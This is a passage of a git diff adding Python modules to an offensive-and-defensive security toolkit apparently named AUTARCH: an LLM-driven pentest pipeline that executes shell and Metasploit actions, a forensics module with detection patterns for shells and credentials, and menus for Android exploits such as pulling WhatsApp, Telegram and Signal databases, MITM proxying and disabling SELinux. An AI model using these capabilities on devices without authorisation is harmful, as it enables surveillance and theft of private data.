print(f"\n{Colors.GREEN}Next task: {result.get('next_task', 'N/A')}{Colors.RESET}") + print(f"Reasoning: {result['reasoning'].get('reasoning', 'N/A')}") + + session.save() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _execute_pipeline_action(self, action: dict) -> Optional[str]: + """Execute a single pipeline action. Returns output string or None.""" + tool_name = action.get('tool', '') + args = action.get('args', {}) + + try: + if tool_name == 'shell': + command = args.get('command', '') + timeout = args.get('timeout', 30) + success, output = self.run_cmd(command, timeout=timeout) + return output + + elif tool_name.startswith('msf_'): + from core.tools import get_tool_registry + registry = get_tool_registry() + result = registry.execute(tool_name, **args) + if isinstance(result, dict): + return result.get('result', str(result)) + return str(result) + + else: + self.print_status(f"Unknown tool: {tool_name}", "warning") + return None + + except Exception as e: + self.print_status(f"Execution error: {e}", "error") + return f"Error: {e}" + + def _handle_discuss(self, pipeline): + """Handle 'discuss' command - ad-hoc question.""" + question = input(f"\n{Colors.WHITE}Question: {Colors.RESET}").strip() + if not question: + return + + self.print_status("Thinking...", "info") + response = pipeline.discuss(question) + print(f"\n{Colors.GREEN}{response}{Colors.RESET}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _handle_google(self, pipeline, session): + """Handle 'google' command - inject external research.""" + print(f"\n{Colors.CYAN}Paste research findings below (empty line to finish):{Colors.RESET}") + lines = [] + while True: + try: + line = input() + if line == "" and lines: + break + lines.append(line) + except EOFError: + break + + if not lines: + return + + info = '\n'.join(lines) + self.print_status("Injecting information into pipeline...", "info") + result = pipeline.inject_information(info, source="research") + + session.log_event('research_injected', {'info': info[:200]}) + session.log_pipeline_result( + result['parsed'].get('summary', ''), + result['reasoning'].get('reasoning', ''), + result.get('commands', []), + ) + + print(f"\n{Colors.GREEN}Updated reasoning:{Colors.RESET}") + print(f" Next task: {result.get('next_task', 'N/A')}") + print(f" Reasoning: {result['reasoning'].get('reasoning', 'N/A')}") + + session.save() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _handle_status(self, session): + """Display current session status.""" + stats = session.tree.get_stats() + print(f"\n{Colors.BOLD}Session Status{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f" Target: {session.target}") + print(f" Session: {session.session_id}") + print(f" State: {session.state.value}") + print(f" Steps: {session.step_count}") + print(f" Findings: {len(session.findings)}") + print(f"\n Task Tree:") + print(f" Total: {stats['total']}") + print(f" Todo: {stats.get('todo', 0)}") + print(f" Active: {stats.get('in_progress', 0)}") + print(f" Done: {stats.get('completed', 0)}") + print(f" N/A: {stats.get('not_applicable', 0)}") + + if session.findings: + print(f"\n {Colors.YELLOW}Key Findings:{Colors.RESET}") + for f in session.findings[-5:]: + sev = f.get('severity', 'medium').upper() + print(f" [{sev}] {f['title']}") + + def _handle_done(self, session): + """Handle 'done' command - complete session and generate report.""" + summary = input(f"\n{Colors.WHITE}Session summary (optional): {Colors.RESET}").strip() + session.complete(summary) + + report = session.export_report() + print(f"\n{report}") + + # Save report to file + from core.paths import get_reports_dir + report_path = get_reports_dir() + report_file = report_path / f"pentest_{session.session_id}.txt" + with open(report_file, 'w') as f: + f.write(report) + + self.print_status(f"Report saved: {report_file}", "success") + self.pentest_session = None + self.pentest_pipeline = None + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ==================== MAIN MENU ==================== + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Agent Hal{Colors.RESET}") + print(f"{Colors.DIM} AI-powered security automation{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Status line + llm_status = f"{Colors.GREEN}Ready{Colors.RESET}" if (self.llm and self.llm.is_loaded) else f"{Colors.DIM}Not loaded{Colors.RESET}" + msf_status = f"{Colors.GREEN}Connected{Colors.RESET}" if self.msf_connected else f"{Colors.DIM}Offline{Colors.RESET}" + print(f" {Colors.DIM}LLM: {llm_status} | MSF: {msf_status}{Colors.RESET}") + print() + + print(f" {Colors.RED}Defense{Colors.RESET}") + print(f" {Colors.GREEN}[1]{Colors.RESET} MITM Detection") + print() + print(f" {Colors.RED}Offense{Colors.RESET}") + print(f" {Colors.GREEN}[2]{Colors.RESET} MSF Automation (AI)") + print(f" {Colors.GREEN}[3]{Colors.RESET} Pentest Pipeline (AI)") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.mitm_detection_menu() + elif choice == "2": + self.msf_automation_menu() + elif choice == "3": + self.pentest_pipeline_menu() + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + AgentHal().run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/analyze.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/analyze.py new file mode 100644 index 0000000..d6f586a --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/analyze.py @@ -0,0 +1,417 @@ +""" +AUTARCH Analyze Module +Forensics and analysis tools + +File analysis, hash generation, string extraction, and more. +""" + +import os +import sys +import subprocess +import hashlib +import re +try: + import magic +except ImportError: + magic = None +from pathlib import Path +from datetime import datetime + +# Module metadata +DESCRIPTION = "Forensics & file analysis tools" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +class Analyzer: + """Forensics and analysis tools.""" + + def __init__(self): + pass + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def run_cmd(self, cmd: str) -> tuple: + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60) + return result.returncode == 0, result.stdout.strip() + except: + return False, "" + + def get_file_hashes(self, filepath: str) -> dict: + """Calculate various hashes for a file.""" + p = Path(filepath) + if not p.exists() or not p.is_file(): + return {} + + hashes = {} + with open(p, 'rb') as f: + content = f.read() + hashes['md5'] = hashlib.md5(content).hexdigest() + hashes['sha1'] = hashlib.sha1(content).hexdigest() + hashes['sha256'] = hashlib.sha256(content).hexdigest() + + return hashes + + def analyze_file(self): + """Comprehensive file analysis.""" + print(f"\n{Colors.BOLD}File Analysis{Colors.RESET}") + filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip() + + if not filepath: + return + + p = Path(filepath).expanduser() + if not p.exists(): + self.print_status(f"File not found: {filepath}", "error") + return + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}File: {p.name}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Basic info + stat = p.stat() + print(f"{Colors.CYAN}Basic Info:{Colors.RESET}") + print(f" Path: {p.absolute()}") + print(f" Size: {stat.st_size:,} bytes") + print(f" Modified: {datetime.fromtimestamp(stat.st_mtime)}") + print(f" Created: {datetime.fromtimestamp(stat.st_ctime)}") + print(f" Mode: {oct(stat.st_mode)}") + + # File type + print(f"\n{Colors.CYAN}File Type:{Colors.RESET}") + try: + file_magic = magic.Magic(mime=True) + mime_type = file_magic.from_file(str(p)) + print(f" MIME: {mime_type}") + + file_magic = magic.Magic() + file_desc = file_magic.from_file(str(p)) + print(f" Type: {file_desc}") + except: + success, output = self.run_cmd(f"file '{p}'") + if success: + print(f" Type: {output.split(':', 1)[-1].strip()}") + + # Hashes + print(f"\n{Colors.CYAN}Hashes:{Colors.RESET}") + hashes = self.get_file_hashes(str(p)) + for algo, value in hashes.items(): + print(f" {algo.upper():8} {value}") + + # Check if executable + if p.suffix in ['.exe', '.dll', '.so', '.elf', ''] or stat.st_mode & 0o111: + self.analyze_executable(str(p)) + + def analyze_executable(self, filepath: str): + """Additional analysis for executables.""" + print(f"\n{Colors.CYAN}Executable Analysis:{Colors.RESET}") + + # Strings + success, output = self.run_cmd(f"strings '{filepath}' 2>/dev/null | head -50") + if success and output: + # Look for interesting strings + interesting = [] + patterns = [ + r'https?://[^\s]+', # URLs + r'\d+\.\d+\.\d+\.\d+', # IPs + r'password|passwd|secret|key|token', # Credentials + r'/bin/sh|/bin/bash|cmd\.exe', # Shells + ] + for line in output.split('\n'): + for pattern in patterns: + if re.search(pattern, line, re.I): + interesting.append(line.strip()) + break + + if interesting: + print(f" {Colors.YELLOW}Interesting strings found:{Colors.RESET}") + for s in interesting[:10]: + print(f" {s[:80]}") + + # Check for packing + success, output = self.run_cmd(f"readelf -h '{filepath}' 2>/dev/null") + if success: + if 'Entry point' in output: + print(f" ELF executable detected") + + def extract_strings(self): + """Extract strings from file.""" + print(f"\n{Colors.BOLD}String Extraction{Colors.RESET}") + filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip() + + if not filepath: + return + + p = Path(filepath).expanduser() + if not p.exists(): + self.print_status(f"File not found", "error") + return + + min_len = input(f"{Colors.WHITE}Minimum string length [4]: {Colors.RESET}").strip() or "4" + + print(f"\n{Colors.CYAN}Extracting strings...{Colors.RESET}\n") + + success, output = self.run_cmd(f"strings -n {min_len} '{p}' 2>/dev/null") + if success: + lines = output.split('\n') + print(f"Found {len(lines)} strings\n") + + # Categorize + urls = [l for l in lines if re.search(r'https?://', l)] + ips = [l for l in lines if re.search(r'\b\d+\.\d+\.\d+\.\d+\b', l)] + paths = [l for l in lines if re.search(r'^/[a-z]', l, re.I)] + emails = [l for l in lines if re.search(r'[\w.-]+@[\w.-]+', l)] + + if urls: + print(f"{Colors.CYAN}URLs ({len(urls)}):{Colors.RESET}") + for u in urls[:10]: + print(f" {u}") + + if ips: + print(f"\n{Colors.CYAN}IP Addresses ({len(ips)}):{Colors.RESET}") + for ip in ips[:10]: + print(f" {ip}") + + if emails: + print(f"\n{Colors.CYAN}Emails ({len(emails)}):{Colors.RESET}") + for e in emails[:10]: + print(f" {e}") + + if paths: + print(f"\n{Colors.CYAN}Paths ({len(paths)}):{Colors.RESET}") + for p in paths[:10]: + print(f" {p}") + + # Save option + save = input(f"\n{Colors.WHITE}Save all strings to file? (y/n): {Colors.RESET}").strip().lower() + if save == 'y': + outfile = f"{p.stem}_strings.txt" + with open(outfile, 'w') as f: + f.write(output) + self.print_status(f"Saved to {outfile}", "success") + + def hash_lookup(self): + """Look up hash in threat intel.""" + print(f"\n{Colors.BOLD}Hash Lookup{Colors.RESET}") + hash_input = input(f"{Colors.WHITE}Enter hash (MD5/SHA1/SHA256): {Colors.RESET}").strip() + + if not hash_input: + return + + # Determine hash type + hash_len = len(hash_input) + if hash_len == 32: + hash_type = "MD5" + elif hash_len == 40: + hash_type = "SHA1" + elif hash_len == 64: + hash_type = "SHA256" + else: + self.print_status("Invalid hash length", "error") + return + + print(f"\n{Colors.CYAN}Hash Type: {hash_type}{Colors.RESET}") + print(f"{Colors.CYAN}Hash: {hash_input}{Colors.RESET}\n") + + # VirusTotal URL + print(f"{Colors.DIM}VirusTotal: https://www.virustotal.com/gui/file/{hash_input}{Colors.RESET}") + print(f"{Colors.DIM}Hybrid Analysis: https://www.hybrid-analysis.com/search?query={hash_input}{Colors.RESET}") + + def analyze_log(self): + """Analyze log files for anomalies.""" + print(f"\n{Colors.BOLD}Log Analysis{Colors.RESET}") + print(f"{Colors.DIM}Common logs: /var/log/auth.log, /var/log/syslog, /var/log/apache2/access.log{Colors.RESET}\n") + + filepath = input(f"{Colors.WHITE}Enter log file path: {Colors.RESET}").strip() + if not filepath: + return + + p = Path(filepath).expanduser() + if not p.exists(): + self.print_status(f"File not found", "error") + return + + print(f"\n{Colors.CYAN}Analyzing {p.name}...{Colors.RESET}\n") + + # Read log + try: + with open(p, 'r', errors='ignore') as f: + lines = f.readlines() + except Exception as e: + self.print_status(f"Error reading file: {e}", "error") + return + + print(f"Total lines: {len(lines)}") + + # Extract IPs + all_ips = [] + for line in lines: + ips = re.findall(r'\b(\d+\.\d+\.\d+\.\d+)\b', line) + all_ips.extend(ips) + + if all_ips: + from collections import Counter + ip_counts = Counter(all_ips) + print(f"\n{Colors.CYAN}Top IP Addresses:{Colors.RESET}") + for ip, count in ip_counts.most_common(10): + print(f" {ip:20} {count:>6} occurrences") + + # Look for error patterns + errors = [l for l in lines if re.search(r'error|fail|denied|invalid', l, re.I)] + if errors: + print(f"\n{Colors.YELLOW}Error/Failure entries: {len(errors)}{Colors.RESET}") + print(f"{Colors.DIM}Recent errors:{Colors.RESET}") + for e in errors[-5:]: + print(f" {e.strip()[:100]}") + + # Timestamps + timestamps = [] + for line in lines: + match = re.search(r'(\w{3}\s+\d+\s+\d+:\d+:\d+)', line) + if match: + timestamps.append(match.group(1)) + + if timestamps: + print(f"\n{Colors.CYAN}Time Range:{Colors.RESET}") + print(f" First: {timestamps[0]}") + print(f" Last: {timestamps[-1]}") + + def hex_dump(self): + """Create hex dump of file.""" + print(f"\n{Colors.BOLD}Hex Dump{Colors.RESET}") + filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip() + + if not filepath: + return + + p = Path(filepath).expanduser() + if not p.exists(): + self.print_status(f"File not found", "error") + return + + offset = input(f"{Colors.WHITE}Start offset [0]: {Colors.RESET}").strip() or "0" + length = input(f"{Colors.WHITE}Length [256]: {Colors.RESET}").strip() or "256" + + try: + offset = int(offset, 0) # Support hex input + length = int(length, 0) + except: + self.print_status("Invalid offset/length", "error") + return + + print(f"\n{Colors.CYAN}Hex dump of {p.name} (offset={hex(offset)}, length={length}):{Colors.RESET}\n") + + with open(p, 'rb') as f: + f.seek(offset) + data = f.read(length) + + # Format hex dump + for i in range(0, len(data), 16): + chunk = data[i:i+16] + hex_part = ' '.join(f'{b:02x}' for b in chunk) + ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk) + print(f" {offset+i:08x} {hex_part:<48} {ascii_part}") + + def compare_files(self): + """Compare two files.""" + print(f"\n{Colors.BOLD}File Comparison{Colors.RESET}") + + file1 = input(f"{Colors.WHITE}First file: {Colors.RESET}").strip() + file2 = input(f"{Colors.WHITE}Second file: {Colors.RESET}").strip() + + if not file1 or not file2: + return + + p1 = Path(file1).expanduser() + p2 = Path(file2).expanduser() + + if not p1.exists() or not p2.exists(): + self.print_status("One or both files not found", "error") + return + + print(f"\n{Colors.CYAN}Comparing files...{Colors.RESET}\n") + + # Size comparison + s1, s2 = p1.stat().st_size, p2.stat().st_size + print(f"File 1 size: {s1:,} bytes") + print(f"File 2 size: {s2:,} bytes") + print(f"Difference: {abs(s1-s2):,} bytes") + + # Hash comparison + h1 = self.get_file_hashes(str(p1)) + h2 = self.get_file_hashes(str(p2)) + + print(f"\n{Colors.CYAN}Hash Comparison:{Colors.RESET}") + for algo in ['md5', 'sha256']: + match = h1.get(algo) == h2.get(algo) + status = f"{Colors.GREEN}MATCH{Colors.RESET}" if match else f"{Colors.RED}DIFFERENT{Colors.RESET}" + print(f" {algo.upper()}: {status}") + + if h1.get('sha256') != h2.get('sha256'): + # Show diff if text files + success, output = self.run_cmd(f"diff '{p1}' '{p2}' 2>/dev/null | head -30") + if success and output: + print(f"\n{Colors.CYAN}Differences (first 30 lines):{Colors.RESET}") + print(output) + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.CYAN}{Colors.BOLD} Analysis & Forensics{Colors.RESET}") + print(f"{Colors.DIM} File analysis and forensics tools{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.CYAN}[1]{Colors.RESET} Analyze File") + print(f" {Colors.CYAN}[2]{Colors.RESET} Extract Strings") + print(f" {Colors.CYAN}[3]{Colors.RESET} Hash Lookup") + print(f" {Colors.CYAN}[4]{Colors.RESET} Analyze Log") + print(f" {Colors.CYAN}[5]{Colors.RESET} Hex Dump") + print(f" {Colors.CYAN}[6]{Colors.RESET} Compare Files") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.analyze_file() + elif choice == "2": + self.extract_strings() + elif choice == "3": + self.hash_lookup() + elif choice == "4": + self.analyze_log() + elif choice == "5": + self.hex_dump() + elif choice == "6": + self.compare_files() + + if choice in ["1", "2", "3", "4", "5", "6"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + Analyzer().run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_advanced.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_advanced.py new file mode 100644 index 0000000..a69babc --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_advanced.py @@ -0,0 +1,380 @@ +""" +Android Advanced Exploits - Network, app manipulation, system control, data exfil +""" + +DESCRIPTION = "Android advanced exploits (network, apps, system, data extraction)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "offense" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + +class AndroidAdvanced: + """Interactive menu for advanced Android exploits.""" + + def __init__(self): + from core.android_exploit import get_exploit_manager + from core.hardware import get_hardware_manager + self.mgr = get_exploit_manager() + self.hw = get_hardware_manager() + self.serial = None + + def _select_device(self): + devices = self.hw.adb_devices() + if not devices: + print(" No ADB devices connected.") + return + if len(devices) == 1: + self.serial = devices[0]['serial'] + print(f" Selected: {self.serial}") + return + print("\n Select device:") + for i, d in enumerate(devices, 1): + print(f" {i}) {d['serial']} {d.get('model','')}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + self.serial = devices[choice - 1]['serial'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + + def _ensure_device(self): + if not self.serial: + self._select_device() + return self.serial is not None + + def show_menu(self): + print(f"\n{'='*60}") + print(" Advanced Android Exploits") + print(f"{'='*60}") + print(f" Device: {self.serial or '(none)'}") + print() + print(" ── Data Exfiltration ──") + print(" [1] Clipboard Content") + print(" [2] Notifications") + print(" [3] Location Data") + print(" [4] List Media Files") + print(" [5] Pull Media Folder") + print(" [6] WhatsApp DB [ROOT]") + print(" [7] Telegram DB [ROOT]") + print(" [8] Signal DB [ROOT]") + print(" [9] Dump Settings (all)") + print(" [10] Device Fingerprint") + print(" [11] Dump Any Database [ROOT]") + print() + print(" ── Network ──") + print(" [20] Network Info") + print(" [21] Set Proxy (MITM)") + print(" [22] Clear Proxy") + print(" [23] Set DNS [ROOT]") + print(" [24] WiFi Scan") + print(" [25] WiFi Connect") + print(" [26] WiFi On/Off") + print(" [27] Enable Hotspot") + print(" [28] Capture Traffic [ROOT]") + print(" [29] Port Forward") + print(" [30] ADB over WiFi") + print() + print(" ── App Manipulation ──") + print(" [40] Grant Permission") + print(" [41] Revoke Permission") + print(" [42] List App Permissions") + print(" [43] Disable App") + print(" [44] Enable App") + print(" [45] Clear App Data") + print(" [46] Force Stop App") + print(" [47] Launch App") + print(" [48] Launch Activity") + print(" [49] Send Broadcast") + print(" [50] Content Query") + print(" [51] Enable Overlay") + print() + print(" ── System ──") + print(" [60] SELinux Permissive [ROOT]") + print(" [61] Remount /system RW [ROOT]") + print(" [62] Logcat Sensitive Data") + print(" [63] Deploy Frida Server [ROOT]") + print(" [64] Running Processes") + print(" [65] Open Ports") + print(" [66] Modify Setting") + print() + print(" [s] Select Device") + print(" [0] Back") + print() + + def _print_result(self, r): + import json + if isinstance(r, dict): + for k, v in r.items(): + if isinstance(v, (list, dict)) and len(str(v)) > 200: + print(f" {k}: [{len(v)} items]" if isinstance(v, list) else f" {k}: [dict]") + else: + val = str(v) + if len(val) > 120: + val = val[:120] + '...' + print(f" {k}: {val}") + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip().lower() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + elif choice == 's': + self._select_device() + continue + + if not self._ensure_device(): + continue + + try: + self._dispatch(choice) + except (EOFError, KeyboardInterrupt): + continue + + def _dispatch(self, choice): + s = self.serial + m = self.mgr + # Data Exfil + if choice == '1': + self._print_result(m.extract_clipboard(s)) + elif choice == '2': + r = m.dump_notifications(s) + print(f" {r.get('count', 0)} notifications:") + for n in r.get('notifications', [])[:20]: + print(f" [{n.get('package','')}] {n.get('title','')} - {n.get('text','')}") + elif choice == '3': + self._print_result(m.extract_location(s)) + elif choice == '4': + t = input(" Type (photos/downloads/screenshots/whatsapp_media): ").strip() or 'photos' + r = m.extract_media_list(s, media_type=t) + print(f" {r['count']} files in {r['path']}:") + for f in r['files'][:30]: + print(f" {f}") + elif choice == '5': + t = input(" Type (photos/downloads/screenshots): ").strip() or 'photos' + lim = input(" Limit [50]: ").strip() + r = m.pull_media_folder(s, media_type=t, limit=int(lim) if lim else 50) + print(f" Pulled {r['count']} files to {r.get('output_dir','')}") + elif choice == '6': + r = m.extract_whatsapp_db(s) + self._print_result(r) + elif choice == '7': + r = m.extract_telegram_db(s) + self._print_result(r) + elif choice == '8': + r = m.extract_signal_db(s) + self._print_result(r) + elif choice == '9': + r = m.dump_all_settings(s) + for ns, entries in r.get('settings', {}).items(): + print(f"\n [{ns}] ({len(entries)} entries)") + for k, v in list(entries.items())[:10]: + print(f" {k}={v}") + if len(entries) > 10: + print(f" ... and {len(entries)-10} more") + elif choice == '10': + fp = m.get_device_fingerprint(s) + print("\n Device Fingerprint:") + for k, v in fp.items(): + print(f" {k:<25} {v}") + elif choice == '11': + db_path = input(" Database path on device: ").strip() + table = input(" Table name (or Enter to list tables): ").strip() or None + r = m.dump_database(s, db_path, table=table) + if r['success']: + print(f" Tables: {', '.join(r['tables'])}") + if r['rows']: + for row in r['rows'][:10]: + print(f" {row}") + else: + print(f" Error: {r['error']}") + # Network + elif choice == '20': + info = m.get_network_info(s) + for k, v in info.items(): + val = str(v)[:200] + print(f" {k}: {val}") + elif choice == '21': + host = input(" Proxy host: ").strip() + port = input(" Proxy port: ").strip() + if host and port: + r = m.set_proxy(s, host, port) + print(f" Proxy set: {r.get('proxy')}") + elif choice == '22': + m.clear_proxy(s) + print(" Proxy cleared.") + elif choice == '23': + dns1 = input(" DNS1: ").strip() + dns2 = input(" DNS2 (optional): ").strip() + if dns1: + m.set_dns(s, dns1, dns2) + print(f" DNS set: {dns1} {dns2}") + elif choice == '24': + r = m.wifi_scan(s) + print(r.get('output', 'No results')) + elif choice == '25': + ssid = input(" SSID: ").strip() + pwd = input(" Password (Enter for open): ").strip() + if ssid: + r = m.wifi_connect(s, ssid, pwd) + print(f" {r.get('output', 'Done')}") + elif choice == '26': + action = input(" Enable or disable? [e/d]: ").strip().lower() + if action == 'd': + m.wifi_disconnect(s) + print(" WiFi disabled.") + else: + m.wifi_enable(s) + print(" WiFi enabled.") + elif choice == '27': + ssid = input(" Hotspot SSID [AUTARCH_AP]: ").strip() or 'AUTARCH_AP' + pwd = input(" Password [autarch123]: ").strip() or 'autarch123' + r = m.enable_hotspot(s, ssid, pwd) + print(f" Hotspot: {ssid}") + elif choice == '28': + iface = input(" Interface [any]: ").strip() or 'any' + dur = input(" Duration seconds [30]: ").strip() + filt = input(" Filter (optional): ").strip() + r = m.capture_traffic(s, iface, int(dur) if dur else 30, filt) + if r['success']: + print(f" PCAP saved: {r['path']} ({r['size']} bytes)") + else: + print(f" Error: {r['error']}") + elif choice == '29': + lp = input(" Local port: ").strip() + rp = input(" Remote port: ").strip() + if lp and rp: + r = m.port_forward(s, lp, rp) + print(f" Forward: localhost:{lp} -> device:{rp}") + elif choice == '30': + port = input(" Port [5555]: ").strip() or '5555' + r = m.enable_adb_wifi(s, int(port)) + print(f" ADB WiFi: {r.get('connect_cmd', '?')}") + # App Manipulation + elif choice == '40': + pkg = input(" Package: ").strip() + perm = input(" Permission (e.g. android.permission.CAMERA): ").strip() + if pkg and perm: + r = m.grant_permission(s, pkg, perm) + print(f" {r.get('output', 'Done')}") + elif choice == '41': + pkg = input(" Package: ").strip() + perm = input(" Permission: ").strip() + if pkg and perm: + r = m.revoke_permission(s, pkg, perm) + print(f" {r.get('output', 'Done')}") + elif choice == '42': + pkg = input(" Package: ").strip() + if pkg: + r = m.list_permissions(s, pkg) + print(f" Granted ({len(r['granted'])}):") + for p in r['granted'][:20]: + print(f" + {p}") + print(f" Denied ({len(r['denied'])}):") + for p in r['denied'][:10]: + print(f" - {p}") + elif choice == '43': + pkg = input(" Package to disable: ").strip() + if pkg: + r = m.disable_app(s, pkg) + print(f" {r.get('output', 'Done')}") + elif choice == '44': + pkg = input(" Package to enable: ").strip() + if pkg: + r = m.enable_app(s, pkg) + print(f" {r.get('output', 'Done')}") + elif choice == '45': + pkg = input(" Package to clear: ").strip() + if pkg: + confirm = input(f" Clear ALL data for {pkg}? [y/N]: ").strip().lower() + if confirm == 'y': + r = m.clear_app_data(s, pkg) + print(f" {r.get('output', 'Done')}") + elif choice == '46': + pkg = input(" Package to force stop: ").strip() + if pkg: + m.force_stop_app(s, pkg) + print(f" Force stopped {pkg}") + elif choice == '47': + pkg = input(" Package to launch: ").strip() + if pkg: + m.launch_app(s, pkg) + print(f" Launched {pkg}") + elif choice == '48': + comp = input(" Component (com.pkg/.Activity): ").strip() + extras = input(" Extras (optional am flags): ").strip() + if comp: + r = m.launch_activity(s, comp, extras) + print(f" {r.get('output', 'Done')}") + elif choice == '49': + action = input(" Broadcast action: ").strip() + extras = input(" Extras (optional): ").strip() + if action: + r = m.send_broadcast(s, action, extras) + print(f" {r.get('output', 'Done')}") + elif choice == '50': + uri = input(" Content URI: ").strip() + proj = input(" Projection (col1:col2 or Enter): ").strip() + where = input(" Where clause (or Enter): ").strip() + if uri: + r = m.content_query(s, uri, proj, where) + print(f" {r['count']} rows:") + for row in r['rows'][:20]: + print(f" {row}") + elif choice == '51': + pkg = input(" Package for overlay: ").strip() + if pkg: + m.overlay_attack_enable(s, pkg) + print(f" Overlay enabled for {pkg}") + # System + elif choice == '60': + r = m.set_selinux(s, 'permissive') + print(f" SELinux: {r.get('mode', '?')}") + elif choice == '61': + r = m.remount_system(s) + print(f" /system remounted {r.get('mode')}: {r.get('output','')}") + elif choice == '62': + dur = input(" Scan duration [10]: ").strip() + r = m.logcat_sensitive(s, int(dur) if dur else 10) + print(f" Found {r['count']} sensitive lines:") + for line in r['lines'][:20]: + print(f" {line[:120]}") + elif choice == '63': + path = input(" Frida server binary path: ").strip() + if path: + r = m.deploy_frida(s, path) + if r['success']: + print(f" Frida running, PID: {r['pid']}") + else: + print(f" Error: {r.get('error')}") + elif choice == '64': + r = m.get_running_processes(s) + print(f" {r['count']} processes:") + for p in r['processes'][:30]: + print(f" {p.get('pid','?'):>6} {p.get('user',''):>12} {p.get('name','')}") + elif choice == '65': + r = m.get_open_ports(s) + print(f" {r['count']} listening ports:") + for p in r['ports']: + print(f" {p}") + elif choice == '66': + ns = input(" Namespace (system/secure/global): ").strip() + key = input(" Key: ").strip() + val = input(" Value: ").strip() + if ns and key and val: + r = m.modify_setting(s, ns, key, val) + print(f" {ns}.{key} = {r.get('value','?')}") + else: + print(" Invalid choice.") + + +def run(): + m = AndroidAdvanced() + m.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_apps.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_apps.py new file mode 100644 index 0000000..e53198a --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/android_apps.py @@ -0,0 +1,165 @@ +""" +Android App Extraction - Pull APKs, app data, shared preferences +""" + +DESCRIPTION = "Android app extraction (APK pull, app data, shared prefs)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "hardware" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + +class AndroidApps: + """Interactive menu for Android app extraction.""" + + def __init__(self): + from core.android_exploit import get_exploit_manager + from core.hardware import get_hardware_manager + self.mgr = get_exploit_manager() + self.hw = get_hardware_manager() + self.serial = None + + def _select_device(self): + devices = self.hw.adb_devices() + if not devices: + print(" No ADB devices connected.") + return + if len(devices) == 1: + self.serial = devices[0]['serial'] + print(f" Selected: {self.serial}") + return + print("\n Select device:") + for i, d in enumerate(devices, 1): + model = d.get('model', '') + print(f" {i}) {d['serial']} {model}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + self.serial = devices[choice - 1]['serial'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + + def _ensure_device(self): + if not self.serial: + self._select_device() + return self.serial is not None + + def show_menu(self): + print(f"\n{'='*50}") + print(" App Extraction") + print(f"{'='*50}") + print(f" Device: {self.serial or '(none)'}") + print() + print(" [1] List Packages") + print(" [2] Pull APK") + print(" [3] Pull App Data (root/debuggable)") + print(" [4] Extract Shared Prefs") + print(" [s] Select Device") + print(" [0] Back") + print() + + def list_packages(self): + if not self._ensure_device(): + return + try: + inc = input(" Include system apps? [y/N]: ").strip().lower() == 'y' + except (EOFError, KeyboardInterrupt): + return + result = self.mgr.list_packages(self.serial, include_system=inc) + if 'error' in result: + print(f" Error: {result['error']}") + return + print(f"\n Found {result['count']} packages:") + for pkg in result['packages']: + flag = ' [SYS]' if pkg['is_system'] else '' + print(f" {pkg['package']}{flag}") + print(f" {pkg['path']}") + + def pull_apk(self): + if not self._ensure_device(): + return 